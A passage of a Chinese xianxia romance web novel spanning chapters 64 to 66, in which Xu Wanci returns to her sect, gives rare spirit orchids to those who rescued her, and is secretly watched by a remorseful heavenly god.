萧玉衍看到许晚辞从秘境中出来后,便用灵气清洁双手,随即小心翼翼地拿出袖中的三叶莲。 她小心地捧着三叶莲,眼中是在魔界从未有过的专注。 她一只手拂过莲花花瓣,动作轻柔地仿佛在触碰一件易碎的至宝。 他感受着胸口处沉闷的心跳,微微移开了视线: 因为是‘他’炼制的法器,所以她才会这般珍视。 可是对于这件法器,他却没有任何记忆。 就如同……他们的曾经。 只是一息的时间,他的目光又不受控制一般,再次落在了许晚辞身上。 他手中凝聚的天道之力,温柔地环绕在她的身边,不让任何人察觉她的踪迹。 许晚辞并未察觉到那些隐蔽的天道之力。 她看着手中的三叶莲,眼中是抑制不住的喜爱。 若不是它,她根本没有办法在言朔的魔域中动手脚。 以言朔的敏锐,必然会察觉到她失忆后的问题。 到那时,谎言的事情被他发现,别说性命,她说不定在仙魔两界身败名裂,死后都会被众人鞭尸。 她小心翼翼地把三叶莲擦了一遍,确认上面没有一丝魔气残留后,把它再次挂到了腰间,朝着不远处的太清宗走去。 说来也巧,离开秘境后,她便发现自己离太清宗不过数里,有灵气辅助,一炷香便能到达。 她最近的气运,好得让她诧异。 刚进入宗门,她便看到了急速赶来的数道身影。 她唇角扬起了一抹清浅的笑意,她对着众人庄重地行了一礼: “多谢宗主与众位长老的相助,晚辞才有幸能从魔界脱身。” 宁孟澜眼中是止不住的慈爱,他赶紧上前扶住许晚辞。 上上下下打量了她一番后,看到她灵气无碍,没有伤口后,终于松了一口气,却依旧确认一般地问道: “晚辞受伤了么?伤势如何?” 许晚辞站起身,声音带着少有的近亲: “并未受伤,反倒因祸得福,成功晋升化神。” “让宗主担忧了。” 这时,一道带着佛息悠远安然的气息悄然而至。 宁孟澜终于从惊喜中回过神,他转身看向白舟,担忧道: “佛子伤势未愈,怎么从明心泉中出来了?” 白舟伤势太重,哪怕明心泉能修复暗伤,但是速度却也十分缓慢。 怕是需要一月,才能修复好他表面的伤势。 至于修为……怕是要再经百年才能重回渡劫。 白舟声音温和: “只是听闻许施主归来,想亲眼见到施主平安。” “至于我身上的伤势,非一日所致,自然非一日能痊愈。” “不能急于一时。” 听到白舟豁达的劝慰,宁孟澜心中愈发敬佩,也愈发愧疚: “当日若不是佛子,怕是我宗门二位长老都会折损在魔界。” “您也不会三百年修为毁于一旦。” 若是有什么能够提升修炼速度的至宝便好了,这样也能让他稍微安心。 白舟轻轻摇头: “宁宗主严重了。” 他声音轻松:“第一次修炼需要三百年,若是第二次还是同样时间,怕是要得到主持一句‘愚钝’的评价了。” “想来百年已经足够,宗主不必介怀。” “区区百年,与修士不过过眼云烟。” 许晚辞听着两人的交谈,便猜到了白舟对她的帮助。 原著中对他的形容是:出尘却又入世。 身为佛子,他远离尘世,却又懂得人世之苦。 明明可以离世苦修,却偏偏会为了世间危机选择出世,即使每一次,都会让他身受重伤。 她刚想俯身行礼,却感受到了裙角轻微的灵气拉拽。 她感受着灵气涌来的方向,两粒种子落在了她的掌心。 感受着她的气息,种子在她掌心生根发芽,一点点长出了枝干。 这是能提高修士回复灵力速度的至宝,也是如今白舟最需要的至宝。 仙品玄云兰的气息,以许晚辞为中心,传遍了整个太清宗。 这是……秘境的馈赠。 第64章 这等气运,他们真想不顾脸面贴在许晚辞身边 一株仙品灵植就足以引起修仙界的震动, 更不用说两株。 一时间,整个太清宗的弟子,都感受到了仙品灵植的气息。 每个人的眼中都是抑制不住的兴奋: 仙品灵植啊! 以他们的修为,可能一辈子都见不到一株。 就算得不到, 能看一眼也是好的。 有不少弟子朝着灵气传来的方向四处张望:也不知宗门这次寻到的, 究竟是什么灵植, 又有何功效。 只可惜, 他们的视线被结界阻拦, 只能看到一片白雾。 若虚峰上, 楚青川也感受到了玄云兰的气息。 他想起宁孟澜离开时急切的背影, 目光多了几分晦暗: 是许晚辞。 她不仅从魔界活着归来,还带来了仙品灵植。 他低下头,眼中所有的情绪都隐藏在了一片阴影之中: 从魔界晋升化神, 还能取得如此机缘。 这种气运, 怕是比他还要好上几分。 楚青川向来以自己的气运为傲, 在气运加持之下,他才有了今日的修为与地位。 可是如今,又出了一个许晚辞, 一直与他争抢的许晚辞。 如今怕是他的师尊,太清宗所有长老峰主都看到了许晚辞滔天的气运。 若是他与许晚辞只能二选一,太清宗真的会选他么? 想起许晚辞被掳走后, 太清宗动用半个宗门灵宝, 不惜联络整个修仙界救她的场景, 他面色带上了几分森冷的妒意。 玄云兰啊,能让修士修炼速度提升一倍有余的仙品灵植。 这世间, 怎么可能有人不动心? 和楚青川想的不同,宁孟澜等人看向玄云兰的目光, 虽然有震撼与心动,却并无贪婪。 他们在修仙界的地位当属顶尖,已经见过了无数至宝。 在无相神石之前,他们都守住了底线,还有楚青川身上那许多拿出来足以令修仙界震动的至宝,他们也从未觊觎。 更不用说如今的这两株玄云兰。 所以,短暂的震惊之后,不少人都回过了神。 距离许晚辞最近的宁孟澜看着在她手心继续生长,已经有花苞显现的玄云兰,眼中不由地带上了几分感叹: 这一刻,他切实意识到了她身上的气运。 这可是修仙界已经绝迹百年的玄云兰啊! 哪怕是身为太清宗宗主的他,都未曾见过。 可如今许晚辞手中却有两株。 早在她结婴时引发天地异象之时,他便猜到了如今天道因为仙尊之因所以惠及她身。 只是在那之后,许晚辞几次三番置身险境,他便以为天道对她的庇佑仅限于此。 可如今想来,她遇到的危险,几次是因为一心求死,几次又是因为外界胁迫不得不去,与气运关联似乎不算太大。 即便遭遇了对许多修士而言可以说是必死的险境,她依旧能活着归来,身上的伤势也会因为种种机缘完全恢复,如何不算气运非常? 这一行更是如此,许晚辞不仅从魔界成功渡劫,脱身回宗后,还带回来了玄云兰这种至宝。 想到这里,宁孟澜紧绷了数日的心神终于放松了些许: 如此气运,想必只要稍加注意,许晚辞今后定能平安顺遂。 宁孟澜身边的大长老与三长老,想法也与他相似。 即使他们在魔界一行中身受重伤,却从未想过在许晚辞面前挟恩,反倒是有些小心地藏起了自己的伤势,不让她为他们担忧。 他们只是看了玄云兰几眼,震惊过后,目光便重新回到了许晚辞身上。 在魔界时,他们也算与言朔交过手,体会到了他究竟有多危险,性格有多狠厉。 在言朔身边待了这么久,许晚辞大抵受了许多苦。 可是为了不让他们担忧,她却一点都没有提及,只是和曾经每一次受伤后一般,对着所有人说自己还好。 想到这里,顾云绮的目光不由地带上了几分无奈。 至于在众人之后的江秋宁,看到许晚辞安然无恙后,终于松了一口气。 她知道玄云兰一事事关太清宗机密,所以并未上前,只是安静地站在原地,看着不远处一身蓝衣的那人。 白舟虽然也诧异于玄云兰的出世,但是看着两株玄云兰随风生长的场景,他眼中带着一丝了然。 他生来便有佛息,是修仙界中最能沟通天地之力的人。 所以,他也是众人中,唯一察觉到玄云兰生长时,周围环绕的天道之力。 或许这两粒玄云兰的种子,是机缘所致,可是如今它们的生长,却得益于天道的偏爱。 天道,对许晚辞的偏爱。 这时,被所有人注视的许晚辞终于抬起了头。 她看着身前的白舟,声音认真: “多亏佛子相助,我才能从魔界逃脱。” “玄云兰虽然不能帮助佛子填补这三百年的修为,但多少能提升修炼速度,还望佛子不要推辞。” 许晚辞说完后,动作轻柔但坚定地把掌心中的玄云兰递了过去。 她是真的这么想。 白舟本就身受重伤还在闭关休养,就算他对太清宗的请求充耳不闻,也不会有任何人谴责。 可是他依旧选择出关救她。 更是为此再受重伤,修为倒退到了大乘。 此等恩情,她必须偿还。 正巧,玄云兰对他如今的伤势,也算有用。 白舟看着许晚辞清澈坚定的双眼,含?? 笑后退了一步: “许施主气运通达,即使没有贫僧,也能安然归来,何须还恩?” “此等至宝,白舟愧不敢受。” “更何况,我已经在贵宗的明心泉中泡了一日,因果已了,施主不必放在心上。” 他所做的一切,从未想过得到什么回报。 当他在做出选择的那一刻,就已经做好了承担所有后果的准备,与任何人无关。 许晚辞听着白舟有理有据的拒绝,长长的睫毛微微颤动,并未继续上前。 她从来都不擅长面对其他人的善意,即使是善意的拒绝。 她微微抿唇,转身来到了宁孟澜身边,然后与方才一般,再次把玄云兰递了出去: “宗主。” “太清宗因我一事,耗费甚大,这一株玄云兰是我的心意,还望宗主收下。” 即使她未曾看到太清宗这段时日中的作为,也能猜测到几分。 能请出佛子,同时打通仙魔两界的通道,太清宗的消耗绝不会少。 她不能把这些当成理所当然。 这世上,没有谁必须救谁的道理。 她身上的灵宝,大都是宗门与他人所增,只有这两株玄云兰,只属于她自己。 玄云兰虽然珍贵,可是提升修炼速度的灵宝,她之后未必不能遇到。 想到这里,她停顿了一瞬,继续道: “至于第二株玄云兰,劳烦宗主替我送与佛子。” “不然以如今佛子伤势,我于心难安。” 宁孟澜听着许晚辞的话,又是无奈,又是好笑。 这是看到佛子不收,所以寄希望于他,让他想法子让佛子收下。 这送至宝之心,是真的迫切啊。 他张开口还未曾出声拒绝,就听到她低着头,好像生怕被再次拒绝一般轻声开口: “宗主,我的储物袋……丢了。” “我只有这两株玄云兰了,您不要嫌弃,好不好?” 宁孟澜心中不由地涌上了几分酸涩: 想当初他们把许晚辞的储物袋填的满满当当,灵石灵宝不计其数,哪里让她有这么窘迫的时候? 不过转瞬间便反应过来: 什么窘迫? 就这两株玄云兰,已经抵得上那一个储物袋的灵宝了! 回过神来的宁孟澜赶紧拒绝: “晚辞,你快把玄云兰收回去。” 他一脸严肃道: “你是我太清宗弟子,护住弟子,是太清宗的责任。” “你不必介怀,回来安心休养便是。” “至于这两株玄云兰,既然是你的机缘,你便好好收着。” 许晚辞抬起头,看着宁孟澜没有丝毫商量余地的目光,知道他不会收下。 她迟疑了两秒,又转头看向了顾云绮。 顾云绮被她的目光吓得后退了两步: “不要看我,我也不要!” 明明是世间罕见的仙品灵植,在这里却偏偏像是烫手山芋一般,没有人想要收下。 许晚辞站在原地,虽然面色依旧平静,可不知为何,却仿佛能从她的身上感受到几分委委屈屈的气息。 她右手托着两株玄云兰,孤零零地站在原地。 不远处的谢听白看到这里,唇角的笑意加深之后,却又多了几分落寞: 许晚辞还真是一如既往。 善良的让人心动,却又在划清界限时,理智的让人无奈。 若是她身上还有其他至宝,怕是已经一个不落的全都送出去了。 因为他们帮过她。 即使没有他们,她依旧能从魔界平安归来。 他轻叹一声走到她的身边,声音温柔道: “两株玄云兰确实有些少,想来晚辞也觉得所需者甚多,所以才会稍显纠结。” 许晚辞抬起头,似乎是意识到了什么,看向他的目光带着一丝细微的期待。 她眨了眨眼睛,安静地等待着他的下一句话。 谢听白看着她清澈见底的瞳孔,轻笑道: “以玄云兰为主药材炼制的齐云丹,药效虽说与直接吸收玄云兰有所差距,但想来提升一倍灵气回复速度应该绰绰有余。” “恰巧,我有齐云丹的药方以及所需其他灵植。” 他看了一眼两株玄云兰,声音带着修仙界顶级炼丹师的从容与笃定:“若以这两株玄云兰炼制,应该有八粒有余。” “若是晚辞信我……” 他话还没有说完,许晚辞就使劲点了点头。 谢听白看着她全然信任他一般的动作,心中微动。 他压住所有的情绪,转头看向白舟,对着他拱了拱手道: “既然有如此多的齐云丹,想必佛子应该不会拒绝了吧?” 许晚辞也转头朝着白舟看去。 白舟看着她期待的目光,并未继续推辞,拱手应了下来。 “那白舟就在此,谢过许施主,七长老了。” 他终究只是凡人,对于这种丹药,说丝毫没有动心,是在骗自己。 听到他的回答,许晚辞终于放下心来,没有丝毫犹豫的把玄云兰递到了谢听白手中,她眼中终于带上了几分笑意: “那就辛苦七长老了。” * 十日后,齐云丹炼制完成。 那日玄云兰的气息已经传遍了太清宗,诸多弟子都有所察觉。 所以宁孟澜并未隐瞒,而是大张旗鼓的派人把齐云丹给江泽与季妄两人送了过去。 一时间,整个修仙界都知道了齐云丹一事。 知晓前因后果的许多渡劫尊者纷纷捶胸顿足,扼腕叹息,恨不得能回到过去。 那时,他们一定毫不犹豫地选择去魔界,将许晚辞救回来! 谁能想到这这么危险的魔界之行,江泽他们等人只是受了点伤,安全回来了不说,还得到了世间罕见的齐云丹! 那可是齐云丹啊! 修炼时能提升近一倍的修炼速度,与人对敌时,回复灵气会比对方快一倍,哪怕是修为不如对方,说不定也能将他活活耗死。 愈想,便愈是心痛。 只不过是受了点伤啊,就获得了如此机缘! 许晚辞身上果真系着修仙界的因果啊,而且还有如此气运。 这下别说是怀疑许晚辞仙尊挚爱的身份了,他们如今只想不顾脸面的贴在她身边。 可惜了,这次回来,宁孟澜肯定把她护得比之前还紧。 有渡劫尊者不住地安抚自己,那日,他们虽然没有江泽等人的贡献大,但终究也出了点力。 说不定接下来他们也能得到点什么。 哪怕得不到,因果一事也已经板上钉钉,他们的作为终究也了结了一部分。 总归他们也并没有出太大力,能了结部分因果,已经是皆大欢喜了。 要他们说,最怄气的,还要数白家。 因为无相神石一事,白家老祖一直心生怨怼,在太清宗宗主上门时,直接闭门不见。 好像还有传言说,白家家主放出狠话,说‘许晚辞不是系着修仙界的因果么,这么强的因果,气运必定非常,若是真的,不救也能平安归来,若是假的,就更不值得白家出手。’ 想到这里,有尊者啧啧了两声: 怕是白家现在悔得肠子都要青了。 更有深谙曲线救宗之道的其他宗门宗主长老,放低姿态联系上了与许晚辞交好的太清宗弟子。 脸面哪有机缘因果重要! 太清宗中,沈问心看到面前的灵宝,慌得手都在抖。 她抬起头,战战兢兢道: “师父,您是把我卖了吗?” 她声音颤抖:“师父,我为您弹过曲,为您端过茶,为您敲过背,您和隔壁祁峰主争吵时,还是徒儿劝的架。” “您不能丢下徒儿啊!” 听音峰峰主叹了一口气: 沈问心那哪里是劝架,那是一句话让他们两个硬生生憋得不想再吵。 她扶额道: “好徒弟,你还是闭嘴吧。” 第65章 神明忽然明白了什么是……愧疚 齐云丹这种渡劫尊者都难得一见的丹药, 并未在太清宗弟子中掀起什么风浪。 他们虽然有好奇,也有心动,但是他们也知晓,以他们的修为, 根本不可能得到这种稀世丹药。 比起齐云丹, 还是另一件事情, 更值得他们关注。 不知什么时候, 宗门内忽然传出了一些奇怪的风声。 说他们英明神武的大师兄, 居然早就发现了魔界在络龙城布下的陷阱。 但是他却恩将仇报, 从始至终都未曾提醒, 反倒是冷眼旁观宗主与几位长老步入魔界陷阱,更是任由曾经救过他的许晚辞被魔界之人掳走。 本来有许多弟子根本不信,可传言愈演愈烈, 宗主与各位长老却都没有制止。 就连与楚青川鹣鲽情深的江少主都收拾所有细软, 离开了若虚峰, 再也未曾归来。 这下,有不少弟子心中都信了几分,上古战场中那些与许晚辞同生共死的弟子, 对楚青川的态度更是完全冷了下来。 当时上古战场中,若不是许晚辞,他们早就死在了那里。 从那时起, 许晚辞的威望在他们心中就已经隐隐超过了楚青川。 如今知晓楚青川自私自利的品性之后, 直接将心中的不满摆到了明面之上。 楚青川看着看到他后, 毫不犹豫转身离开的叶羽,再也维持不住表面的温柔和善。 他脸色蓦然冷了下来, 眼中带着阴狠的怒意: 修士之大道,从来都需要与天争, 与人争。 况且他根本没有亲自出手暗害许晚辞,他何错之有? 他不过只是做了所有修士都会做的事情罢了。 他们若是他,说不定当时做的会更狠绝。 他咬着牙,太清宗所有敌视他的人,上到宁孟澜与各位长老,下到宗门弟子,都被他记在了心里。 就在这时,楚青川储物袋中的通讯玉佩忽然亮了起来。 他拿出通讯玉佩,听着白家家主亲近友好的声音,目光终于恢复了平静。 放下玉佩后,他回头看了一眼人来人往的太清宗,挥袖离开了这里: 以他气运之子的身份,有的是人求他当座上宾。 不过是一个太清宗,不过是一个江家。 以后有的是他们求他的时候! * 从来一片虚无的混沌之中,如今已经有了一片浅蓝的天际。 天际之下,有着一株灵气捏成的化雨昙。 明明是根本不可能在虚无中存在的灵物,却偏偏被天道之力小心护住,肆意美好的绽放在虚无之中。 化雨昙边,一个缥缈而强大的身影静静地站在那里,仿佛亘古如此般,清冷孤寂。 萧玉衍看着下界之中的许晚辞,周身仿佛一点点凝实一般,眼中也有了属于人的温度。 他看着许晚辞坐在暗玉桌旁,沉默而疲倦地看着天空的模样,指尖的天道之力聚了又散,散了又聚,却根本不知道他能做什么,才能让她……开心。 在太清宗中的她,虽然比魔界之中多了几分真实,但更多的,却是透骨的疲倦。 即使身边有着无数人的陪伴,但在短暂的热闹之后,独自一人时,她就会安静地看着天际。 每日皆是如此。 曾经她在魔界失去记忆时的灵动与欢快,昙花一现般的消失,仿佛从存在过一样,再也留不下一丝痕迹。 萧玉衍一只手覆上胸口,那里的沉闷让他微不可查地皱起了眉头: 可是他见到过。 见到过她明媚的样子,见过她真切的欢笑,也见过她一剑制敌后的骄傲与跃跃欲试。 她不应该是如今的模样。 虚无之中,浅蓝色的天空,忽然多了几分阴沉。 许晚辞感受着好像暗了些许的天空,略显疑惑的眨了眨眼睛。 只是无论天色如何,她看向天际的目光,从始至终都没有移开分毫。 她并不是在演绎自己对清衍仙尊的深情,只是魔界之行对她的消耗太大,她只想什么都不考虑,放空自己好好休息几天。 魔界中,即使她完全失去了记忆,在面对言朔时,心神却依旧从始至终都足够紧绷。 为了脱离他的控制,她不得不逼自己时刻保持清醒,更做出了那样九死一生的赌注。 对于她而言,太累了。 回到宗门后,她终于能确认自己的安全,也终于能安静地看向这片真正蔚蓝的天空。 本来,她就很喜欢广袤无垠的天际。 而且不知为何,这几日中,阳光好似格外懂事一般,只让她觉得温暖,从未让她觉得晃眼。 所以,她经常一不注意,半天的时间就悄然溜走。 门口的敲门声终于让许晚辞回过了神。 她侧过头,看着站在门口的身影,她站起身行了一礼道: “七长老。” 谢听白听着她依旧生疏的称谓,眉间闪过一丝细微的黯然。 或许他早已习惯了她对除了那个人之外的疏离,只是一瞬间便调整好了心绪,不疾不徐的走到了小院中。 他看着身前的许晚辞,伸手递出了装在玉瓶中的齐云丹,声音温润: “还算幸运,齐云丹超出预期,有九粒之数。” 看着她站在原地未曾动作的模样,他仿若对着一位故交好友一般,声音调侃: “若不是晚辞的玄云兰,自然也不会有今日的齐云丹,若是晚辞不收,怕是宗主要追着我问责了。” 许晚辞并未推辞,她接过了玉瓶,轻声道谢: “多谢七长老。” 她抬起头,神情真挚: “若不是七长老,两株玄云兰无论如何也发挥不出如今的作用。” 本来她还在忧虑两株玄云兰应该怎么分给众人,如今有了齐云丹,怕是还能剩下几粒,放在宗门库房之中。 多少也算填补了些许太清宗的损失。 这样,她也终于能安心一些。 况且,她也很需要齐云丹的作用。 能提升一倍的修炼速度—— 这几天也休息够了,是时候好好修炼了。 看到许晚辞收下后,谢听白唇角的笑意加深了几分,只是在看到她比之前瘦削了许多的身形后,他唇角的弧度一点点放平。 即使那时他并未身在魔界,也能猜测出情况的危急。 在魔界之中强行渡劫,十死无生的概率。 她真的只是想摆脱魔尊的控制,还是因为从魔尊口中知晓了仙尊无复生的可能,所以……一心求死? 想到这里,谢听白移开视线,声音平淡,仿佛只是医者对伤患的嘱托: “晚辞,身为医者,我为你医治过太多的伤。” “我知修仙界刀剑无眼,没有人能保证自己毫发无伤。” 说到这里,他停顿了一瞬,转头认真地看向许晚辞: “我只希望你能够以性命为重。” 他轻笑了一声,后退一步拉开了两人的距离: “就当是为了让我这个医师能清闲一些吧。” 许晚辞微微抬头,看着蓝的动人心魄的天际,没有应答,只是转移话题道: “我这次归来,虽然并未受伤,还是让七长老忙碌了许多。” 她扬了扬手中的玉瓶,轻声道: “辛苦七长老了。” 谢听白并未像往常一般,任由她揭过话题,事关生死,他声音不由地带上了几分严肃: “晚辞,你应该知晓,从魔界渡劫会是什么后果。” “以你的才智,若在等一等,未必不能等到离开魔界的机会。” 许晚辞面色从容而平静的解释: “还要多谢七长老赠与我的那枚天灵丹,让我即使在魔界,依旧敢放手一搏。” 谢听白定定地看着她,他压住心中隐隐的怒气,努力放缓声音道: “就算你在魔尊魔域之下仍记得那枚天灵丹,就算天灵丹并未被魔界之人收走。” “在雷劫之下,用天灵丹成功逃生的概率,又有多少?” “三成,还是两成?” 许晚辞移开视线,并未回答: 她绝不可能留在言朔身边成为一个傀儡,无论付出什么代价,她都必须离开。 即使,她成功的概率只有一成。 想到这里,她微微垂眸,轻描淡写道: “可我如今未曾受伤,还成功晋升化神。” “不是么?” 谢听白声音带着抑制不住的自嘲:“是。” 他怎么可能说服许晚辞呢。 能让她动容的,从来都只有一人。 他转过身,声音已经回复了平日的温润有礼,他理智地陈述着事实: “你为他求死了四次。” “断魂骨,三叶莲,无相神石,化神雷劫。” 他深谙人性,从来都知晓所有人的软肋,包括许晚辞: “不论曾经如何。” “接下来,试着为他而活吧。” “去见那些他未曾见过的风景,去走那些他未曾走过的路。” “活着,终究能比死亡,做更多的事。” 谢听白并未回头,而是径直离开了万剑锋。 天际之中。 萧玉衍怔怔地看着下界之中的许晚辞。 看着她低下头,温柔而执着地看向腰侧的三叶莲;看着她转过身,平静地朝着房内走去;看着她眼中从始至终,都没有分毫悔意。 无论是几次的濒死,还是漫长的百年,她都未曾后悔。 她就这样沉默的向前走去。 曾经他忽略的所有,随着谢听白的话,全都涌上了心间。 他第一次真切的意识到,许晚辞如今的一切苦痛,都是因为曾经的‘他’。 她爱‘他’,所以才会被困百年,所以才会几次濒死。 魔界之中的三叶莲与雷劫,不过是这百年其中微不足道的两件罢了。 曾经他不曾在意的所有,如今都化作一把把利刃,直抵心间。 周围明明只有永久不变的虚无,在此刻却多了几分死寂的阴霾。 神明,体会着凡人的喜怒哀乐,也终于明白了,什么是心动,什么……是愧疚。 下界中,许晚辞一步一步地朝着房内走去。 阳光温暖地洒在她的身上,微风吹动着她的裙摆,天道之力温柔的拂过她的发梢。 可是,在她关上房门的那一瞬,外面的天霎时阴了下来。 乌云密布,万籁俱寂。 第66章 她唯一的挚爱,只有‘他’ 宁孟澜听着万剑锋峰主关于楚青川的汇报, 面色冷漠地摆了摆手: “随他吧。” 知情不报一事,可大可小,真正令他心寒的,还是楚青川的自私与凉薄。 无论是教养他的宗门, 还是救过他的许晚辞, 在他心中随时都能因为一件小事被嫉恨, 甚至被抛弃。 这种人留在宗门, 怕是会人人自危。 离开也好。 他与楚青川终究有几十年的师徒情谊, 他有如今品性, 他身为师尊, 也难辞其咎。 他不会将他从太清宗除名,但太清宗再也不会给他任何指点与帮助。 接下来的路怎么走,就要看他自己了。 * 自谢听白离开后, 萧玉衍终于见到了许晚辞修炼的模样。 每日十二个时辰, 若不是时不时有人拜访, 她怕是能昼夜不停的修炼,直到把自己累得筋疲力竭,才有可能停止。 而太清宗所有人, 却都是一副习以为常的模样。 甚至还有人松了一口气般感叹: 幸好这次不是带伤修炼。 就好像在许久之前,她曾经在受伤后,依旧如此修炼过一般。 萧玉衍看着许晚辞自日出后便舞剑不休的模样, 心间涌上一股浅浅的苦涩。 他终于意识到: 她这百年, 过得很不好。 他伸出手, 仿佛是想要触碰什么,可周围只有漫天的虚无。 就在这时, 一阵敲门声不疾不徐的响起。 萧玉衍无声地放下手。 幻颜树下,许晚辞听到动静后, 终于停下了手中动作,九霄剑化作手环收在了她的右手手腕之上。 看到门口的身影后,她眼中带上了一丝诧异,随即礼数周到的行了一礼: “晚辞见过佛子。” 萧玉衍的目光,终于从许晚辞的身上移开。 看着门口处周身佛息,目光悲悯的身影,他目光淡漠,仿佛与看向许晚辞之外的万物一般,波澜不惊。 可是在眼底最深处,却藏着一丝他自己都未曾察觉的在意……与警惕。 以身救世,为此重伤的佛子。 或许是这世间,最像许晚辞心中那个‘他’的人。 包括如今的他。 萧玉衍静看着这世间的一草一木、花开花落,心中却感受不到一丝的波动。 只要不是她,就算万物在他面前湮灭,好像也掀动不了他分毫情绪。 天行有常,他从不会沾染,更不会去拯救。 他与百年前那个以身祭天的萧玉衍,真的是同一个人么? 如今的他,又真的是她想见的人么? 一个没有记忆,没有情绪,甚至于刚苏醒时,对她一切经历都冷眼旁观的人。 萧玉衍感受着胸口处传来的刺痛,却依旧没有移开看向许晚辞的视线,目光专注却又带着隐秘的悲伤。 下界之中。 白舟带着满身佛息,唇角含笑来到了小院之中。 院子中的灵植,仿佛受到了滋养一般,变得繁盛了几分。 他对着许晚辞还了一礼,声音带着如清风一般温和却又让人心安的禅意: “许施主。” 萧玉衍看着下界之中,许晚辞看向白舟平静柔和,似乎还带着些许感激与亲近的目光,不在意一般地移开了视线。 一片幻颜树的落叶幽幽飘落,恰好挡在了许晚辞眼前,将她身前的白舟挡了个严严实实。 三息后,叶子才不情不愿一般,轻飘飘地从她眼前离开,落在了她的手背之上。 今日的阳光似乎格外灼眼,热烈的洒在了修仙界的每一寸土地之上—— 除了许晚辞所在的地方。 小院之中,许晚辞与白舟所隔不过五步,所处之景却截然不同。 许晚辞身处阴影之中,阳光透过树荫落在她的身上,周身环绕着温柔的暖意,舒适的环境之下,她丹田的灵气都变得一点点凝实起来。 而她身前的白舟,却恰好避开了左右的阴影,他站立在灼热的阳光之中,一身麻布白衣,硬生生被照出了丝绸之感,剃度后的头顶,更是反光一般,光可鉴人。 许晚辞见到白舟微眯的眼睛,赶紧后退两步,邀请他落座。 白舟欣然点头。 即使他修为受损,也依旧有着大乘修为,并不会被阳光所扰。 真正让他侧目的,是许晚辞周身环绕的厚重到让他不可忽视的天道之力,就仿佛他身前这个人,凝聚着天道所有的偏爱一般。 这种气运强盛之人,几百年间他从未见过。 白舟隐住心中的诧异,从容落座。 不等许晚辞开口,他就说出了今日的来意: “贫僧今日前来,是为道谢,也为辞别。” 也不知为何,他话音刚落,刺眼的阳光便被云层遮盖,留下了一地阴凉。 许晚辞为他斟了一杯清茶: “是我应该向您道谢才对。” “只是不知您伤势如何,不敢贸然打扰。” 她抬起头,把茶推到了白舟面前: “佛子身上的伤势好些了么?” 白舟接过清茶,摇头道: “如何当得起许施主这一声谢?” “若无贫僧,许施主亦能平安归来,还不必担这些无谓因果。” 说到这里,他停顿了一瞬, “何况贫僧伤势本就已无大碍,只剩休养。” “如今有了齐云丹的助力,不但伤势大好,修为也已经重回大乘后期。” 他放下茶盏,声音宽慰中带着几分笑意: “想必三十年内,就能够再次渡劫。” “这种晋升速度,恐怕几百年内,都无人打破。” 许晚辞听着白舟说到最后带上了笑意的声音,稍显诧异的抬起头,声音带着一丝迟疑: “没有想到佛子会在意这些。” 白舟面色从容洒脱,他并未隐瞒,而是诚实道: “贫僧虽入佛道多年,但终究不过一介俗人。” “这些名头,虽然无用,但是想起来,总让人能开心一些。” 许晚辞闻言怔愣了一瞬,随即无奈道: “佛子说笑了。” “您当年不惜重伤制止了当年修仙界中无人能敌的魔尊,修仙界才有了这三十年的平静。” “前些时日更是伤势未好便出关……” 她停住了声音,但是谁都知晓她要说的是什么。 她清楚自己的自私,她所做的一切,都是为了她自己,为了自己能活下去,为了自己能变得更加强大。 所以她才会一次又一次的以自己的性命为赌注,才会一次又一次的冒险。 她对于白舟这种宁愿牺牲自己,也要拯救他人的人,心存敬意。 尤其是,被救的人,是她。 即使她不需要,却依旧会把它记在心间。 她垂眸道:“您本不必承担这些的,不是么?” 阳光不知何时刺破了云层,再次洒到了小院之中。 白舟摇了摇头,他反过身来为许晚辞斟了一杯茶: “修行,也修心。” “贫僧所作所为,看似普度众生,实则也只为了求一个心安罢了。” “三十年前,修仙界若是浩荡,贫僧也难以脱身。” “当年若不是……,许施主若是真的出事,怕是贫僧今后难以心安。” “今日,依旧如此。” 他略微侧移,躲开了仿佛如影随行一般的阳光,一挥手,一个佛气浩荡的玉盒便出现在了暗玉桌上。 “这是贫僧为了心安为许施主准备的谢礼。” 许晚辞看着玉盒中带着佛光的短刃,并未探究这是什么,想也不想地拒绝道: “若不是因为我,佛子不可能会重伤以至于修为倒退,只是一枚齐云丹,根本不足以抵消您那日之伤 。” 白舟轻笑着等她说完,然后不紧不慢道: “这是斩魔刃。” “虽然算是难得的至宝,但仅能攻击魔界之人,限制颇多,有时想送都未必送的出去,所以倒也算不上太过珍贵。” “许施主若是拒绝,贫僧怕是不得不在贵宗多叨扰几日,每日前来为许施主诵经祈福,以求心安了。” 许晚辞推辞的话,被他看起来名正言顺的威胁给堵在了唇边。 她曾经得到的善意太少,面对这些善意,她心存感激,却也不知该如何应对。 她沉默了几息后,在白舟期待的目光中,接下了玉盒: “多谢佛子相赠。” 白舟仿佛早已经料到了她的回答,他看着她触碰玉盒的手上厚重的仿佛快要凝实的天道之力,眼中带上了几分轻松: “许施主身有天眷,想必也不会遇到之前那般险境,斩魔刃也只能算是锦上添花。” “许施主不必放在心上。” “天眷么?”许晚辞不知是想到了什么,她垂眸遮住了眼中所有的情绪,声音平淡,“未必吧。” “若真是天眷,应该让我达成所愿才是。” 白舟看向许晚辞的目光,带着世人皆苦的悲悯。 他知道她话中意,却依旧无能为力。 世间万苦,落在每个人身上,也不过是一句节哀顺变。 “许施主节哀。” 许晚辞仿佛早已经习惯了这些劝慰,她神情依旧平静,平静的看不出一丝涟漪。 她早已经习惯了这场在众人面前的表演,习惯到凭借本能,就知道该给出怎样的回答,也知道现在她最好的做法应该是若无其事的揭过话题。 可—— 或许是因为在魔界中见过了清衍仙尊的真容,让她不再如之前一般,对他是一无所知的惶恐; 或许是因为她知晓现在所有人都不会怀疑她的谎言,都不会怀疑她话中的真假; 又或许是因为清衍仙尊四个字,帮助了她太多,让她不可抑制地生出了几分好奇。 许晚辞没有看向白舟,而是抬头看着浅蓝的天空,她轻声问道: “他……真的很严肃么?” 白舟感受着她周身厚重但却莫名温柔的天道之力,迟疑了一瞬道: “与其说是严肃,不如说是距离。” “仿若天地之别的天赋与修为,这世间根本没有任何人,能值得仙尊在意。” “世人与仙尊而言,大抵不过万物蝼蚁罢了。” “连在意都没有,又如何称得上严肃。” 许晚辞想起留影石中那个强大淡漠的身影,强行压住了心中的震撼。 理智再次将所有情绪牢牢压制,她知道这时,她必须做出正确的反应,揭过这个话题。 她似乎是有些无奈道: “原来是这样啊。” 她低下头,声音中有怀念,也有无奈:“我还以为,他……” 她抿着唇,仿佛只是说给自己听一般: “明明笑起来那么好看,怎么就这么……” 不喜欢笑呢。 她剩下的话,隐在了唇间,只剩下了一地的落寞。 